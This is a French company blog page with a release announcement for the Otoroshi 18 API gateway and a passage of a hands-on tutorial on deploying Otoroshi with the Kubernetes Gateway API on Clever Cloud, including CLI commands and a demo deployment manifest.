Cloud APIM Blog (Français)

Otoroshi 18 est là : nouvelles fondations, même gateway

Mathieu Ancelin — Tue, 10 Nov 2026 07:00:00 GMT

Le 23 octobre, nous avons publié Otoroshi 18.0.0, suivie trois jours plus tard de la 18.0.1. C’est la version la plus importante depuis des années, et sans doute la mieux préparée : tout le socle technique a été remplacé, les Service Descriptors ont enfin disparu, et la gateway a traversé deux audits de sécurité complets.

Pourtant, pour la grande majorité des installations, la mise à jour devrait être d’un ennui parfait. Vos routes, vos plugins, vos clés d’API, vos certificats et vos exporteurs ne bougent pas. Votre trafic ne s’aperçoit de rien.

Cet article ouvre une série de sept billets sur Otoroshi 18 et sur ce que nous avons construit autour. On commence par la vue d’ensemble.

Pourquoi il fallait changer les fondations

Otoroshi tournait sur Scala 2.12, Play 2.8 et Akka 2.6. Chacune de ces briques posait un problème :

Scala 2.12 date de 2016. De moins en moins de bibliothèques publient encore pour cette version.
Akka est passé sous licence BSL en septembre 2023. La fondation Apache a repris la dernière version Apache 2.0 sous le nom d’Apache Pekko, et l’écosystème a suivi.
Play 2.8 n’est plus maintenu, et Play 3, la branche basée sur Pekko, est sortie fin 2023.

Pris séparément, chacun de ces points se gère. Ensemble, ils éloignaient Otoroshi du reste de l’écosystème JVM, un peu plus chaque mois. L’issue qui demandait la migration vers Play 3 avait été ouverte en novembre 2023.

Le portage a commencé en juin, et début juillet nous avons gelé les fonctionnalités pour nous y consacrer entièrement. La règle était stricte : changer les fondations, et rien d’autre.

Ce qui a changé sous le capot

Avant	Après
Scala 2.12	Scala 3.8
Play 2.8	Play 3.0
Akka 2.6	Apache Pekko 1.6
Java 11 minimum	Java 17 minimum
Interface d’admin construite avec webpack, jQuery	Vite, plus de jQuery
Bibliothèques tierces patchées et embarquées	Retour sur les versions officielles

Pekko est un fork direct de l’Akka que nous utilisions déjà : même modèle d’acteurs, mêmes streams, même pile HTTP. Les noms de packages changent, le comportement reste le même.

Ce qui disparaît : les Service Descriptors

Les Service Descriptors étaient dépréciés depuis février 2022, quand le nouveau moteur de proxy est arrivé. La version 17 avait livré les outils de migration. La 18 retire l’entité, son API d’admin, ses écrans et sa CRD Kubernetes. Les Routes sont désormais la seule façon de configurer le proxy HTTP : une entité, un modèle mental, un seul chemin de code.

Personne n’a de migration manuelle à faire. Au premier démarrage, un job sauvegarde chaque descriptor dans un fichier, puis le convertit en Route en gardant le même identifiant. Un descriptor n’est supprimé qu’une fois sa Route écrite et relue. Ce qui échoue est laissé en place, journalisé, et retenté au démarrage suivant. Les clés d’API qui pointaient vers un ancien service continuent de fonctionner.

Ce qui arrive en plus

Une fois le portage validé, nous avons levé le gel. Les previews suivantes ont apporté des nouveautés qui changent la vie des équipes qui publient des API :

Chaque consommateur d’API devient une clé d’API, quel que soit le plan (sans authentification, JWT, mTLS, OAuth2). Quotas, rate limiting et analytics s’appliquent à tous les appelants.
Des chaînes de plugins par consommateur : un plan ou une clé d’API peut apporter ses propres plugins, en plus ou à la place de ceux de la route.
Des plugins conditionnels : n’importe quel plugin peut ne s’exécuter que si des conditions sont remplies sur la clé, l’utilisateur, la route, la requête ou la réponse.
Des proxies de confiance : l’adresse du client est lue depuis le bout fiable de la chaîne X-Forwarded-For. Un client ne peut plus choisir son IP pour contourner un rate limit.
Un chemin critique plus rapide, et une JVM dimensionnée automatiquement d’après les limites du conteneur.

Nous détaillerons tout cela dans les prochains articles, à commencer par les performances.

Vérifier, puis vérifier encore

Un portage de cette taille ne vaut que par les vérifications qui l’accompagnent. Nous avons passé au moins autant de temps à vérifier qu’à écrire.

Le chantier en chiffres
Durée, du premier commit du portage à la sortie	un peu plus de 4 mois
Commits	environ 1 000
Issues fermées	234
Versions de test publiées	9 previews, 4 release candidates
Lignes de tests ajoutées	plus de 70 000
Audits de sécurité complets	2

La suite de tests couvre désormais le clustering, le mTLS, WebAuthn, la validation SAML et les droits de l’API d’admin. Elle écrit et relit le JSON de chaque entité et de chaque configuration de plugin. Ce seul test a révélé des dizaines de réglages qui perdaient leur valeur à l’enregistrement. Aucun ne se serait vu en démo, tous sont corrigés.

Le document OpenAPI de l’API d’admin a été réécrit, et une suite de conformité le confronte désormais à un Otoroshi qui tourne. Chaque désaccord était un bug, d’un côté ou de l’autre, et il a été corrigé là où il devait l’être.

Qui est derrière

Otoroshi est open source depuis son premier jour, en 2017, sous licence Apache 2.0. Cloud APIM a été fondée en 2021 par son créateur, et c’est chez nous que se fait aujourd’hui l’essentiel de son développement : sur les quelque 1 000 commits de la 18, plus de 800 viennent de l’équipe Cloud APIM. Merci aussi à tous ceux qui ont contribué au code, testé les previews et remonté des bugs.

Le jour de la sortie, nous avons aussi publié trois extensions compatibles avec la 18 : l’extension LLM et son AI Studio, la suite Threat Protection et son Threat Studio, et le tout nouveau Clever Cloud Reaper. Chacune aura son article dans cette série.

Et maintenant ?

Pour la plupart des installations, la réponse tient en une phrase : passez en 18. Quelques points méritent tout de même un coup d’œil avant :

Java 17 minimum.
Les réglages akka.* deviennent pekko.* (les variables d’environnement OTOROSHI_AKKA_* continuent de fonctionner).
Les plugins Scala maison doivent être recompilés pour Scala 3. Les plugins WASM ne sont pas concernés.
Sur Kubernetes, appliquez les nouvelles CRD.

La branche 17.x reste disponible pour ceux qui ont besoin de plus de temps. Et si vous préférez ne pas y penser du tout, nos clusters Otoroshi Managed sont mis à jour par l’équipe qui écrit le code.

Pour aller plus loin

Prochain article : ce que nous avons mesuré et gagné en performances.

Exposer des applications Kubernetes avec Otoroshi et la Gateway API sur Clever Cloud

Mathieu Ancelin — Tue, 21 Apr 2026 06:00:00 GMT

Il y a une satisfaction particulière quand on vient de mettre en place une nouvelle brique d’infrastructure et qu’elle fonctionne vraiment. Ce genre de satisfaction qui vous fait attraper votre café, vous caler au fond de votre chaise et simplement… respirer. C’est exactement ce que j’ai ressenti quand, après quelques heures de bricolage par un après-midi pluvieux, j’ai vu une commande curl renvoyer un beau HTTP 200 depuis une application tournant au fin fond d’un cluster Kubernetes — routée par l’intégration Gateway API d’Otoroshi, elle-même hébergée sur le moteur Kubernetes managé de Clever Cloud.

Je vous propose de refaire ce chemin avec moi dans cet article. Nous partirons du problème fondamental de l’exposition des workloads Kubernetes au monde extérieur, nous passerons par l’histoire des contrôleurs Ingress, jusqu’au nouveau standard de Kubernetes, la Gateway API — et nous déploierons toute la stack, étape par étape, sur Clever Kubernetes Engine (CKE), l’offre Kubernetes managée de Clever Cloud.

Servez-vous un café : l’article est long.

Le problème : votre application est prisonnière du cluster

Quand vous déployez une application sur Kubernetes, vous la placez dans un environnement très capable, mais fondamentalement isolé. Les pods Kubernetes vivent dans leur propre espace réseau privé. Des services comme ClusterIP rendent ces pods joignables à l’intérieur du cluster mais, par conception, ils ne sont pas accessibles depuis l’extérieur.

C’est d’ailleurs une fonctionnalité, pas un bug. Kubernetes vous offre un réseau privé et maîtrisé. Mais dès que votre application doit servir de vrais utilisateurs — ou dialoguer avec des systèmes externes —, il vous faut percer une ouverture contrôlée dans cette isolation.

Au fil des années, la communauté Kubernetes a développé plusieurs réponses à ce problème, chacune avec ses compromis.

Les débuts : NodePort et LoadBalancer

L’option la plus simple est un service NodePort. Il ouvre un port sur chaque nœud du cluster et redirige le trafic vers vos pods. Ça marche, mais c’est peu pratique : vous manipulez des numéros de port élevés (30 000 et au-delà), vous exposez directement l’IP de chaque nœud, et vous n’avez aucune capacité de gestion du trafic. NodePort est parfait pour des tests rapides en local, mais ce n’est pas quelque chose que vous feriez tourner en production.

L’étape suivante est un service LoadBalancer. Les fournisseurs cloud — Clever Cloud compris — savent provisionner un load balancer externe et le brancher automatiquement à vos pods. C’est un vrai progrès : vous obtenez une IP externe stable et des numéros de port propres. Mais si vous avez des dizaines de services à exposer, vous vous retrouvez avec des dizaines de load balancers, qui coûtent chacun de l’argent et demandent chacun leur configuration DNS. Ça ne passe pas bien à l’échelle.

Ce dont vous avez vraiment besoin, c’est d’un point d’entrée unique — un reverse proxy — capable de router intelligemment le trafic vers le bon service en fonction du nom d’hôte, du chemin, des en-têtes ou d’autres attributs de la requête. Et c’est exactement pour cela que la ressource Ingress a été créée.

Une brève histoire d’Ingress

Kubernetes a introduit la ressource Ingress vers 2015, comme moyen standardisé de définir des règles de routage HTTP. L’idée était élégante : vous écrivez un manifeste YAML qui dit « les requêtes vers api.example.com/v1 doivent aller au service my-api sur le port 8080 », et un contrôleur s’en saisit pour configurer le véritable reverse proxy.

Une ressource Ingress typique ressemble à ceci :

apiVersion: networking.k8s.io/v1
kind: Ingress
metadata:
  name: my-app
  namespace: default
spec:
  rules:
  - host: api.example.com
    http:
      paths:
      - path: /v1
        pathType: Prefix
        backend:
          service:
            name: my-api
            port:
              number: 8080

L’écosystème des contrôleurs Ingress

La spécification Ingress, à elle seule, ne fait rien : il vous faut aussi un contrôleur Ingress, un logiciel qui surveille les ressources Ingress et les traduit en configuration concrète du proxy. Nginx a été le choix le plus populaire. D’autres ont suivi : Traefik, HAProxy Ingress, Contour, et bien d’autres.

Le problème, c’est que la spécification Ingress a été volontairement gardée minimale. Le standard ne vous offrait que du routage basique par hôte et par chemin. Tout le reste — modes de terminaison TLS, rate limiting, authentification, retries, déploiements canary — devait passer par des annotations. Et comme les annotations ne sont que des chaînes arbitraires attachées aux ressources, chaque contrôleur avait son propre vocabulaire. Une annotation de rate limiting pour Nginx ne ressemble en rien à celle de Traefik. Passer d’un contrôleur à un autre impliquait de réécrire toutes vos ressources Ingress.

# nginx-specific annotation
nginx.ingress.kubernetes.io/limit-rps: "10"

# Same thing in Traefik's world
traefik.ingress.kubernetes.io/rate-limit: |
  extractorfunc: client.ip
  rateset:
    default:
      period: 1s
      average: 10

Cette prolifération d’annotations était un point douloureux bien identifié par la communauté. L’API Ingress commençait à accuser son âge.

L’histoire de la dépréciation

La situation s’est clarifiée en 2023, quand les mainteneurs de Kubernetes ont annoncé la dépréciation du contrôleur historique kubernetes/ingress-nginx — non pas le projet Nginx Ingress Controller lui-même, mais celui maintenu par la communauté Kubernetes. Le projet avait accumulé une dette technique importante et la communauté a décidé qu’il était temps de passer à autre chose.

Plus largement, l’API Ingress elle-même était passée en mode maintenance. Plus aucune nouvelle fonctionnalité n’y était ajoutée. La communauté travaillait déjà sur quelque chose de mieux.

L’avenir est déjà là : la Gateway API de Kubernetes

La Gateway API de Kubernetes est le successeur moderne et standardisé d’Ingress. Elle a atteint la disponibilité générale (GA) fin 2023 et son adoption progresse régulièrement depuis.

La Gateway API a été conçue avec plusieurs objectifs clés en tête : être assez expressive pour couvrir des scénarios de routage avancés sans annotations, séparer clairement les responsabilités entre les différents rôles, et être extensible de façon maîtrisée.

Un modèle différent

Là où Ingress n’a qu’un seul type de ressource, la Gateway API introduit une hiérarchie de ressources :

GatewayClass — Définit quelle implémentation de contrôleur prend en charge une classe donnée de gateways. Voyez-la comme une StorageClass, mais pour le trafic plutôt que pour le stockage. Elle est généralement créée par l’équipe infrastructure ou par l’opérateur de la plateforme.

apiVersion: gateway.networking.k8s.io/v1
kind: GatewayClass
metadata:
  name: my-gateway-class
spec:
  controllerName: vendor.io/my-controller

Gateway — Une instance concrète de gateway, qui utilise une classe donnée. Elle définit les protocoles et les ports à écouter, ainsi que les noms d’hôte à prendre en charge. C’est la ressource créée par l’équipe propriétaire du cluster ou de l’infrastructure réseau.

apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: my-gateway
  namespace: infra
spec:
  gatewayClassName: my-gateway-class
  listeners:
  - name: http
    protocol: HTTP
    port: 80
    hostname: "*.example.com"
    allowedRoutes:
      namespaces:
        from: All

HTTPRoute — Les règles de routage proprement dites, définies par les équipes applicatives dans leurs propres namespaces. C’est la partie qui intéresse les développeurs : « mon application est servie sur api.example.com/v2 ».

apiVersion: gateway.networking.k8s.io/v1
kind: HTTPRoute
metadata:
  name: api-route
  namespace: my-app
spec:
  parentRefs:
  - name: my-gateway
    namespace: infra
    sectionName: http
  hostnames:
  - "api.example.com"
  rules:
  - matches:
    - path:
        type: PathPrefix
        value: /v2
    backendRefs:
    - name: my-api-service
      port: 8080

Ce modèle fondé sur les rôles est une amélioration significative. Les opérateurs du cluster contrôlent la Gateway (quels noms d’hôte sont autorisés, quels namespaces peuvent y rattacher des routes), tandis que les développeurs contrôlent leurs propres ressources HTTPRoute sans avoir besoin de privilèges au niveau du cluster. Les références entre namespaces sont possibles, avec des autorisations explicites via des ressources ReferenceGrant.

La Gateway API apporte aussi un support natif du découpage de trafic (backends pondérés pour les déploiements canary), de la manipulation d’en-têtes, des redirections, de la réécriture d’URL, et un vrai mécanisme d’extension via des types de filtres personnalisés — le tout sans recourir à des annotations propres à un contrôleur.

Faites connaissance avec Otoroshi

Avant de passer à la pratique, laissez-moi vous présenter le personnage principal de cette histoire : Otoroshi.

Otoroshi est un reverse proxy et une API gateway open source que j’ai créé en 2017, alors que je travaillais comme prestataire chez la MAIF, un grand assureur français. La MAIF venait de migrer sur la plateforme Clever Cloud et avait besoin d’une solution unifiée pour sécuriser et gérer le trafic des API de son paysage applicatif très hétérogène — sans imposer de bibliothèques ou de frameworks particuliers à ses équipes de développement. Le projet a depuis largement dépassé son périmètre d’origine, et j’en suis toujours aujourd’hui le core maintainer et le responsable, sous la bannière Cloud APIM.

La philosophie d’Otoroshi se résume en cinq principes : être agnostique vis-à-vis des technologies, HTTP-first, API-first (l’interface web n’est qu’un client de l’API parmi d’autres), centré sur la sécurité et orienté événements. Il est conçu pour être le point d’entrée unique de tout le trafic HTTP vers vos applications, quel que soit l’endroit où elles sont hébergées ou le langage dans lequel elles sont écrites.

Que peut faire Otoroshi ?

La liste des fonctionnalités est conséquente. Côté gestion du trafic : load balancing avec plusieurs stratégies (round robin, sessions persistantes, least connections, meilleur temps de réponse), rate limiting distribué, mirroring de trafic, déploiements canary et relay routing entre zones réseau.

Côté sécurité : un Web Application Firewall intégré, propulsé par Coraza avec les OWASP Core Rule Sets, des listes de blocage d’IP avec support CIDR, du contrôle d’accès fondé sur la géolocalisation, la gestion des clés d’API avec quotas, la validation de JWT (JWE compris), OAuth 2.0/2.1 avec PKCE, OIDC, LDAP, SAML V2, et même le support de WebAuthn/FIDO2.

Pour l’observabilité : métriques Prometheus natives, traces OpenTelemetry (OTLP), Datadog, StatsD, streaming d’événements vers Kafka, et plus encore.

Et il supporte HTTP/1.1, HTTP/2, HTTP/3, WebSocket, TCP et gRPC — y compris via un serveur nouvelle génération basé sur Netty pour les charges les plus exigeantes.

Otoroshi dans Kubernetes

Otoroshi dispose d’une intégration native avec Kubernetes depuis la version 1.5.0. En mode Kubernetes, Otoroshi fonctionne comme un contrôleur Ingress et peut s’appuyer sur plusieurs mécanismes :

Contrôleur Ingress standard : surveille les ressources Ingress et crée les routes correspondantes
Custom Resource Definitions (CRD) : un riche ensemble de plus de 23 ressources personnalisées qui vous permettent de configurer chaque aspect d’Otoroshi nativement via des manifestes Kubernetes — routes, backends, certificats, clés d’API, vérificateurs JWT, modules d’authentification, et plus encore
Synchronisation des secrets : les secrets TLS Kubernetes sont automatiquement synchronisés en certificats Otoroshi

Le contrôleur d’Otoroshi tourne comme un job d’arrière-plan au sein même du processus Otoroshi : il interroge ou surveille l’API Kubernetes et réconcilie l’état souhaité avec la configuration de routage courante. Pas besoin de déployer un contrôleur séparé.

Une remarque importante tirée de la documentation : faire tourner Otoroshi derrière un contrôleur Ingress existant est explicitement déconseillé. Cela dégrade les capacités de proxy TCP, le TLS et le mTLS, et ajoute une latence inutile. Otoroshi doit être votre point d’entrée le plus en amont.

Otoroshi rencontre la Gateway API

C’est là que les choses deviennent passionnantes. Depuis la version 17.13.0, Otoroshi implémente la spécification Gateway API de Kubernetes. C’est un chantier que je voulais attaquer depuis un moment, et le passage en GA de la spécification m’a semblé être le bon moment pour enfin le faire proprement.

La fonctionnalité est marquée comme expérimentale dans la documentation actuelle, mais elle est pleinement opérationnelle pour les cas d’usage essentiels : support de Gateway, HTTPRoute et GRPCRoute. L’implémentation repose sur un choix d’architecture intéressant : plutôt que de provisionner dynamiquement de nouveaux listeners à la demande (ce qui exigerait des privilèges importants sur le cluster et beaucoup de complexité), Otoroshi vérifie que les listeners des Gateway correspondent aux ports HTTP/HTTPS sur lesquels il écoute déjà, puis utilise les routes pour construire sa table de routage.

Le cycle de réconciliation fonctionne ainsi :

Otoroshi récupère toutes les ressources Gateway API depuis l’API server Kubernetes
Il valide les ressources GatewayClass qui référencent son nom de contrôleur
Il résout les certificats TLS à partir des Secrets Kubernetes référencés
Il valide les listeners des Gateway par rapport aux ports qu’il a configurés
Il convertit les objets HTTPRoute et GRPCRoute en entités NgRoute natives
Il enregistre les routes et nettoie les entrées orphelines laissées par les cycles de réconciliation précédents

Toutes les routes générées portent le tag otoroshi-provider: kubernetes-gateway-api, ce qui permet de les identifier et de les retrouver facilement.

Le contrôleur Gateway API s’active en déclarant KubernetesGatewayApiControllerJob comme job d’arrière-plan dans la configuration d’Otoroshi. Voyons précisément comment mettre tout cela en place.

Passons à la pratique : installation de bout en bout sur Clever Cloud

Je vais vous montrer exactement ce que j’ai fait cet après-midi-là. Nous allons :

Provisionner un cluster Kubernetes sur CKE
Ajouter des nœuds workers
Déployer Otoroshi avec le support de la Gateway API activé
Installer les CRD de la Gateway API
Déployer une application de démonstration
Y router du trafic via la Gateway API
Vérifier que tout fonctionne

Avant d’entrer dans le détail des étapes, voici une vue d’ensemble de ce que nous construisons. Deux plans coexistent : le control plane (flèches en pointillés), où Otoroshi surveille les ressources de l’API Kubernetes et les réconcilie en routes actives, et le data plane (flèches pleines), où le trafic HTTP réel circule du monde extérieur jusqu’aux pods de l’application.

Prérequis

Il vous faut :

Un compte Clever Cloud
La CLI clever installée et authentifiée (npm install -g clever-tools ou téléchargement depuis la page des releases)
kubectl installé

Important — CKE est actuellement en accès privé. J’ai testé cette installation alors que Clever Kubernetes Engine n’était ouvert qu’à certains utilisateurs. À partir de la semaine prochaine (27 avril 2026), CKE passe en bêta publique, ce qui en élargit nettement l’accès pour les utilisateurs de Clever Cloud. Une fois la fonctionnalité activée pour votre organisation, le reste de ce guide s’applique tel quel.

Étape 1 : activer Kubernetes sur votre organisation Clever Cloud

Une fois CKE débloqué pour votre organisation, vous devez activer la fonctionnalité Kubernetes via la CLI :

clever features enable k8s

Vous pouvez lister les clusters existants avec :

clever k8s list --org xxx

Étape 2 : créer votre cluster

La création d’un nouveau cluster tient en une seule commande. Le flag --watch maintient la CLI active et affiche la progression pendant que le control plane démarre — une attention appréciable quand on est là à se demander si quelque chose a mal tourné.

clever k8s create gateway-api-demo --org xxx --watch

Au bout de quelques minutes, vous aurez un cluster opérationnel.

Vous pouvez relancer la commande list. La sortie affiche le statut du cluster et finit par confirmer que le control plane est prêt.

clever k8s list --org xxx

Vous remarquerez aussi qu’un nouvel élément est apparu dans votre console Clever Cloud

Étape 3 : récupérer votre kubeconfig

Une fois le cluster prêt, téléchargez le fichier kubeconfig :

clever k8s get-kubeconfig gateway-api-demo --org xxx > kubeconfig.yaml

Puis pointez kubectl dessus :

export KUBECONFIG="$(pwd)/kubeconfig.yaml"

Ou, si vous préférez, placez cet export dans un fichier config.sh et chargez-le avec source :

source config.sh

Vérifions que nous pouvons communiquer avec le cluster :

kubectl get nodes

À ce stade, vous ne verrez probablement que le nœud du control plane, voire rien du tout : nous n’avons encore ajouté aucun nœud worker.

Étape 4 : ajouter des nœuds workers

Par défaut, un cluster CKE démarre avec un control plane mais sans aucun nœud worker. Nous devons créer un NodeGroup — l’abstraction de Clever Cloud pour un groupe de nœuds de calcul, défini par un flavor (profil CPU/mémoire) et un nombre de nœuds.

Voici le manifeste que j’ai utilisé (manifests/nodegroup.yaml) :

apiVersion: api.clever-cloud.com/v1
kind: NodeGroup
metadata:
  name: gateway-api-demo-nodegroup
spec:
  flavor: M
  nodeCount: 2

Le flavor M offre une bonne quantité de CPU et de RAM pour faire tourner Otoroshi confortablement. J’ai choisi 2 nœuds pour avoir de la marge et expérimenter sans me heurter à des limites de ressources.

Appliquez-le :

kubectl create -f ./manifests/nodegroup.yaml

Regardez maintenant les nœuds arriver :

kubectl get nodes
kubectl get nodegroups

Vous verrez les nœuds rejoindre le cluster un par un. Laissez passer quelques minutes. Dès que les 2 nœuds sont à l’état Ready, vous pouvez continuer.

Astuce : si vous avez besoin de plus de capacité par la suite, vous pouvez scaler le node group sans le recréer :
kubectl scale nodegroup gateway-api-demo-nodegroup --replicas=4

Étape 5 : installer les règles RBAC et les CRD d’Otoroshi pour la Gateway API

Otoroshi a besoin de permissions RBAC spécifiques pour surveiller et mettre à jour les ressources de la Gateway API — notamment gatewayclasses, gateways, httproutes, grpcroutes, referencegrants, backendtlspolicies, ainsi que les sous-ressources /status correspondantes.

Le projet Otoroshi fournit un manifeste RBAC prêt à l’emploi, dédié à l’intégration Gateway API :

kubectl apply -f 'https://raw.githubusercontent.com/MAIF/otoroshi/refs/heads/master/kubernetes/gateway-api/rbac-gateway.yaml'

Ainsi que les Custom Resource Definitions d’Otoroshi :

kubectl apply -f 'https://raw.githubusercontent.com/MAIF/otoroshi/refs/heads/master/kubernetes/gateway-api/crds-gateway.yaml'

Ces CRD vous permettent de configurer les ressources natives d’Otoroshi (routes, backends, clés d’API, etc.) via des manifestes Kubernetes. Même si nous nous concentrons aujourd’hui sur la Gateway API, les installer vous donne accès à l’intégration Kubernetes complète d’Otoroshi.

Étape 6 : déployer Otoroshi

C’est le gros morceau. Je vais détailler le manifeste de déploiement, car il contient plusieurs réglages importants.

Manifeste complet (manifests/otoroshi.yaml) :

kind: Namespace
apiVersion: v1
metadata:
  name: otoroshi
---
kind: ServiceAccount
apiVersion: v1
metadata:
  namespace: otoroshi
  name: otoroshi-admin-user
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: otoroshi-admin-user
  namespace: otoroshi
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: otoroshi-admin-user
subjects:
- kind: ServiceAccount
  name: otoroshi-admin-user
  namespace: otoroshi
---
apiVersion: apps/v1
kind: Deployment
metadata:
  name: otoroshi
  namespace: otoroshi
spec:
  replicas: 1
  selector:
    matchLabels:
      app: otoroshi
  template:
    metadata:
      labels:
        app: otoroshi
    spec:
      serviceAccountName: otoroshi-admin-user
      terminationGracePeriodSeconds: 60
      containers:
      - name: otoroshi
        image: maif/otoroshi:latest
        imagePullPolicy: Always
        ports:
        - containerPort: 10049
          name: http
        - containerPort: 10048
          name: https
        env:
        - name: APP_STORAGE_ROOT
          value: otoroshi
        - name: APP_STORAGE
          value: inmemory
        - name: ADMIN_API_EXPOSED_SUBDOMAIN
          value: otoroshi-api-5jsfzwhhx6unbywz
        - name: ADMIN_API_TARGET_SUBDOMAIN
          value: otoroshi-target-5jsfzwhhx6unbywz
        - name: APP_BACKOFFICE_SUBDOMAIN
          value: otoroshi-backoffice-5jsfzwhhx6unbywz
        - name: APP_PRIVATEAPPS_SUBDOMAIN
          value: otoroshi-privateapps-5jsfzwhhx6unbywz
        - name: APP_DOMAIN
          value: cleverk8s.io
        - name: OTOROSHI_INITIAL_ADMIN_PASSWORD
          value: password
        - name: ADMIN_API_CLIENT_ID
          value: admin-api-apikey-id
        - name: ADMIN_API_CLIENT_SECRET
          value: admin-api-apikey-secret
        - name: ADMIN_API_ADDITIONAL_EXPOSED_DOMAIN
          value: otoroshi-api.otoroshi.svc.cluster.local
        - name: OTOROSHI_SECRET
          value: veryveryveryveryverysecret
        - name: OTOROSHI_EXPOSED_PORTS_HTTP
          value: "80"
        - name: OTOROSHI_EXPOSED_PORTS_HTTPS
          value: "443"
        - name: HEALTH_LIMIT
          value: "5000"
        - name: SSL_OUTSIDE_CLIENT_AUTH
          value: Want
        - name: HTTPS_WANT_CLIENT_AUTH
          value: "true"
        - name: OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_ENABLED
          value: "true"
        - name: OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_ACCESSLOG
          value: "true"
        - name: OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_EXPOSED_HTTP_PORT
          value: "80"
        - name: OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_EXPOSED_HTTPS_PORT
          value: "443"
        - name: OTOROSHI_INITIAL_CUSTOMIZATION
          value: >
            {
              "config": {
                "scripts": {
                  "enabled": true,
                  "jobRefs": [
                    "cp:otoroshi.plugins.jobs.kubernetes.KubernetesGatewayApiControllerJob"
                  ],
                  "jobConfig": {
                    "KubernetesConfig": {
                      "trust": false,
                      "namespaces": ["*"],
                      "labels": {},
                      "namespacesLabels": {},
                      "defaultGroup": "default",
                      "ingresses": false,
                      "crds": true,
                      "kubeLeader": false,
                      "restartDependantDeployments": false,
                      "watch": false,
                      "syncIntervalSeconds": 60,
                      "otoroshiServiceName": "otoroshi-service",
                      "otoroshiNamespace": "otoroshi",
                      "clusterDomain": "cluster.local",
                      "gatewayApi": true,
                      "gatewayApiWatch": true,
                      "gatewayApiControllerName": "otoroshi.io/gateway-controller",
                      "gatewayApiHttpListenerPort": [8080, 80],
                      "gatewayApiHttpsListenerPort": [8443, 443],
                      "gatewayApiSyncIntervalSeconds": 30,
                      "gatewayApiAddresses": []
                    }
                  }
                }
              }
            }
        - name: JAVA_OPTS
          value: '-Xms1g -Xmx2g -XX:+UseContainerSupport -XX:MaxRAMPercentage=80.0'
        readinessProbe:
          httpGet:
            path: /ready
            port: 8080
          initialDelaySeconds: 30
          periodSeconds: 10
          failureThreshold: 5
        livenessProbe:
          httpGet:
            path: /live
            port: 8080
          initialDelaySeconds: 30
          periodSeconds: 10
          failureThreshold: 5
---
apiVersion: v1
kind: Service
metadata:
  name: otoroshi-service
  namespace: otoroshi
spec:
  selector:
    app: otoroshi
  ports:
  - port: 8080
    name: "http"
    targetPort: "http"
  - port: 8443
    name: "https"
    targetPort: "https"
---
apiVersion: v1
kind: Service
metadata:
  name: otoroshi-lb-external
  namespace: otoroshi
spec:
  type: LoadBalancer
  selector:
    app: otoroshi
  ports:
  - port: 80
    name: "http"
    targetPort: "http"
  - port: 443
    name: "https"
    targetPort: "https"

Voici les principaux choix de configuration.

Stockage : nous utilisons ici APP_STORAGE=inmemory pour garder les choses simples et éviter de mettre en place un stockage de données externe pour cette démo. C’est le moyen le plus rapide de faire tourner Otoroshi : aucune dépendance, aucune configuration supplémentaire. Mais soyons clairs sur le compromis : avec le stockage en mémoire, toute la configuration d’Otoroshi disparaît dès que le pod redémarre, et vous ne pouvez compter que sur les CRD d’Otoroshi pour vos configurations. En production, il vous faut absolument un backend persistant.

Le choix naturel est Redis (APP_STORAGE=redis), utilisé par la plupart des déploiements d’Otoroshi en production. Si vous êtes déjà sur Clever Cloud, bonne nouvelle : des add-ons Redis sont disponibles directement sur la plateforme — il suffit d’en provisionner un et de brancher la chaîne de connexion. Au-delà de la persistance, un déploiement de production voudra aussi faire tourner plusieurs instances d’Otoroshi pour la haute disponibilité. Otoroshi propose un mode cluster dans lequel les instances partagent leur état via Redis, ce qui s’accorde naturellement avec l’offre Redis managée de Clever Cloud. Pour aller plus loin, l’opérateur Kubernetes de Clever Cloud vous permet de provisionner et de gérer les add-ons Clever Cloud (Redis compris) directement depuis des manifestes Kubernetes — idéal si vous voulez tout garder en GitOps.

Le serveur Netty : ces variables OTOROSHI_NEXT_EXPERIMENTAL_NETTY_SERVER_* activent le serveur HTTP nouvelle génération d’Otoroshi, basé sur Netty. Ce serveur gère correctement HTTP/1.1, HTTP/2 et HTTP/3, et il est indispensable pour le support de gRPC. Nous l’activons et l’associons aux ports 80 et 443.

La configuration de la Gateway API — c’est la partie critique — se trouve dans OTOROSHI_INITIAL_CUSTOMIZATION. Décortiquons-la :

{
  "config": {
    "scripts": {
      "enabled": true,
      "jobRefs": [
        "cp:otoroshi.plugins.jobs.kubernetes.KubernetesGatewayApiControllerJob"
      ],
      "jobConfig": {
        "KubernetesConfig": {
          "gatewayApi": true,
          "gatewayApiWatch": true,
          "gatewayApiControllerName": "otoroshi.io/gateway-controller",
          "gatewayApiHttpListenerPort": [8080, 80],
          "gatewayApiHttpsListenerPort": [8443, 443],
          "gatewayApiSyncIntervalSeconds": 10
        }
      }
    }
  }
}

"jobRefs" active le job d’arrière-plan KubernetesGatewayApiControllerJob — c’est le composant qui surveille les ressources de la Gateway API et les réconcilie
"gatewayApi": true active le contrôleur Gateway API
"gatewayApiWatch": true active la surveillance quasi temps réel des ressources Kubernetes (au lieu d’un simple polling à intervalle fixe)
"gatewayApiControllerName": "otoroshi.io/gateway-controller" est l’identifiant du contrôleur — il doit correspondre exactement au controllerName de votre ressource GatewayClass
"gatewayApiHttpListenerPort": [8080, 80] — indique à Otoroshi quelles valeurs de port sont valides pour les listeners HTTP des ressources Gateway. Les Gateway qui référencent le port 8080 ou le port 80 seront acceptées
"gatewayApiSyncIntervalSeconds": 10 — avec le mode watch activé, c’est l’intervalle entre deux cycles de réconciliation forcée

Les deux Services : nous créons deux services pour Otoroshi :

otoroshi-service (ClusterIP sur 8080/8443) — accès interne pour les autres pods du cluster
otoroshi-lb-external (LoadBalancer sur 80/443) — c’est lui qui est exposé au monde extérieur. Clever Cloud provisionne un load balancer externe et lui attribue une IP publique

Appliquez le déploiement :

kubectl apply -f manifests/otoroshi.yaml

Étape 7 : surveiller les logs

Déployer quelque chose de nouveau a son rituel : on attend, et on regarde les logs. Suivons le démarrage d’Otoroshi :

kubectl -n otoroshi logs -f deploy/otoroshi --tail=200

Vous verrez Otoroshi démarrer, initialiser son stockage, lancer les jobs de synchronisation Kubernetes, et finir par afficher quelque chose comme :

